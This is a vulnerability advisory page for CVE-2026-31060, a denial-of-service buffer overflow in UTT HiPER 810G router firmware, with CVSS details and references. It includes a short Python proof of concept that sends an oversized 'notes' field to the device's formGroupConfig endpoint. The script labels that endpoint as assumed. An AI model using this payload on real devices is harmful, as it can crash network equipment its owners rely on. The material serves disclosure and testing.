CVE-2026-31060

Description

UTT Aggressive HiPER 810G v3v1.7.7-171114 was discovered to contain a buffer overflow in the notes parameter of the formGroupConfig function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:utt:810g_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:utt:810g:3.0:*:*:*:*:*:*:* - NOT VULNERABLE

UTT Aggressive HiPER 810G v3v1.7.7-171114

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-31060
# Target: UTT Aggressive HiPER 810G v3v1.7.7-171114

import requests

target_url = "http://<TARGET_IP>/cgi-bin/formGroupConfig"  # Assumed endpoint

# Authentication is required (PR:H)
cookies = {"Cookie": "admin_session_id=valid_session"}

# Malicious payload to trigger buffer overflow
# Length may vary depending on specific buffer size
payload = "A" * 5000

data = {
    "notes": payload,
    "action": "save"
}

try:
    response = requests.post(target_url, data=data, cookies=cookies)
    print(f"Response status: {response.status_code}")
    # If successful, the device may crash (DoS)
except Exception as e:
    print(f"Connection error or device crash: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31060
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31060
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31060/
[4] VulDB https://vuldb.com/cve/CVE-2026-31060
[5] https://github.com/zxq0408/Vul202601/blob/main/5.md

Raw JSON Data

JSON

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